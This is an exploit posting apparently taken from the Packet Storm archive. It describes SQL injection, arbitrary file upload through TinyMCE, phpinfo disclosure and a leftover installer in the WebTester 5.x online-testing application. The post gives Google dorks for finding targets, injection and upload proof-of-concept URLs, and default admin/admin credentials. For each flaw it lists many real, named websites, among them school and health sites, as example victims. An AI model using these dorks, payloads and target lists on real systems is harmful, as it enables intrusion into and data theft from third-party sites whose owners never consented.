exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

WebTester 5.x SQL Injection / File Upload / Disclosure

WebTester 5.x SQL Injection / File Upload / Disclosure
Posted Oct 15, 2013
Authored by X-Cisadane

WebTester version 5.x suffers from arbitrary file upload, PHPInfo() disclosure, and remote SQL injection vulnerabilities.

tags | exploit, remote, arbitrary, vulnerability, sql injection, info disclosure, file upload
SHA-256 | ae0159d76ced28f2573fdafa84a4c33428886ffc49ef166346df1107fbded280

WebTester 5.x SQL Injection / File Upload / Disclosure

Change Mirror Download
========================================================================================== 
WebTester 5.x Multiple Vulnerabilities
==========================================================================================

:----------------------------------------------------------------------------------------------------------------------------------------:
: # Exploit Title : WebTester 5.x Multiple Vulnerabilities
: # Date : 15 October 2013
: # Author : X-Cisadane
: # CMS Developer : http://epplersoft.com/webtester.html
: # CMS Source Code : http://sourceforge.net/projects/webtesteronline/
: # Version : ALL
: # Category : Web Applications
: # Vulnerability : SQL Injection, Arbitrary File Upload, PHPInfo() Disclosure, Leftover install.php File
: # Tested On : Google Chrome Version 26.0.1410.64 m (Windows XP SP 3 32-Bit English)
: # Greetz to : X-Code, Borneo Crew, Depok Cyber, Explore Crew, CodeNesia, Bogor-H, Jakarta Anonymous Club, Jabar Cyber, Winda Utari
:----------------------------------------------------------------------------------------------------------------------------------------:

DORKS (How to find the target) :
================================
intext:Copyright © 2003 - 2010 Eppler Software
inurl:/go.php?testID=
intitle:WebTester Online Testing
Or use your own Google Dorks :)

Proof of Concept
================

[ 1 ] SQL Injection
POC : http://[Site]/[Path]/startTest.php?FirstName=a&LastName=a&TestID=['SQLi]
Example :
http://simuladodireitocespe.com/startTest.php?FirstName=a&LastName=a&TestID='5
http://www.huertos.eu/encuesta/startTest.php?FirstName=a&LastName=a&TestID='5
http://autoskola-buratrans.com/templates/default/ispiti/startTest.php?FirstName=a&LastName=a&TestID='5
http://conalepnl091.sytes.net/simulador/startTest.php?FirstName=a&LastName=a&TestID='5
http://learnin.elschool.pl/startTest.php?FirstName=a&LastName=a&TestID='5
...etc...

[ 2 ] Arbitrary File Upload through TinyMCE (plugins/filemanager)
Webster 5.x has a built-in WYSIWYG Editor, that is TinyMCE. The attacker can upload file through the TinyMCE File Manager.
It can be found in tiny_mce/plugins/filemanager.

Poc : http://[Site]/[Path]/tiny_mce/plugins/filemanager/InsertFile/insert_file.php
Example the target is http://onlinetests.germaniak.eu/
Change the url to http://onlinetests.germaniak.eu/tiny_mce/plugins/filemanager/InsertFile/insert_file.php
Pic #1 : http://i40.tinypic.com/117z390.png
Then tick : Insert filetype icon, Insert file size & Insert file modification date.
Click upload and wait until the file sent to the server.
Pic #2 : http://i39.tinypic.com/2wluaon.png
Pic #3 : http://i40.tinypic.com/2uh0fir.png
If the file was successfully uploaded, check in the /test-images/ directory.
For Example :
http://onlinetests.germaniak.eu/test-images/
http://www.rzecznik.org/test/test-images/
http://simula.se/fun/webtester5/test-images/
http://811lifestylecoach.com/test-images/
http://umpire-test.splashprojects.co.uk/test-images/
http://zamoweb.altervista.org/test-images/
...etc...

[ 3 ] PHPInfo() Disclosure
POC : http://[Site]/[Path]/phpinfo.php
Example :
http://mhsquiz.marbleheadschools.org/webtester/phpinfo.php
http://test.auzefiu.com/phpinfo.php
http://test.deltaschools.com/phpinfo.php
http://www.noordskool.com/toetse/phpinfo.php
http://bocahomehealth.com/exam/phpinfo.php
...etc...

[ 4 ] Leftover install.php File
POC : http://[Site]/[Path]/install.php
Example :
http://www.ibeucamposmacae.com.br/webtester5/install.php
http://briefhealthprograms.com/webtester5/install.php
http://intgvna.gardnervna.org/test/install.php
http://delarcollege.com/POSTUTME/install.php
http://www.orionhs.org/webtester/install.php
...etc...

Bonus : Default Username and Password
Username : admin
Password : admin
Admin Control Panel : http://[Site]/[Path]/admin/
Login or Register to add favorites

File Archive:

March 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Mar 1st
    16 Files
  • 2
    Mar 2nd
    0 Files
  • 3
    Mar 3rd
    0 Files
  • 4
    Mar 4th
    32 Files
  • 5
    Mar 5th
    28 Files
  • 6
    Mar 6th
    42 Files
  • 7
    Mar 7th
    17 Files
  • 8
    Mar 8th
    13 Files
  • 9
    Mar 9th
    0 Files
  • 10
    Mar 10th
    0 Files
  • 11
    Mar 11th
    15 Files
  • 12
    Mar 12th
    19 Files
  • 13
    Mar 13th
    21 Files
  • 14
    Mar 14th
    38 Files
  • 15
    Mar 15th
    15 Files
  • 16
    Mar 16th
    0 Files
  • 17
    Mar 17th
    0 Files
  • 18
    Mar 18th
    10 Files
  • 19
    Mar 19th
    32 Files
  • 20
    Mar 20th
    46 Files
  • 21
    Mar 21st
    16 Files
  • 22
    Mar 22nd
    13 Files
  • 23
    Mar 23rd
    0 Files
  • 24
    Mar 24th
    0 Files
  • 25
    Mar 25th
    12 Files
  • 26
    Mar 26th
    31 Files
  • 27
    Mar 27th
    19 Files
  • 28
    Mar 28th
    42 Files
  • 29
    Mar 29th
    0 Files
  • 30
    Mar 30th
    0 Files
  • 31
    Mar 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close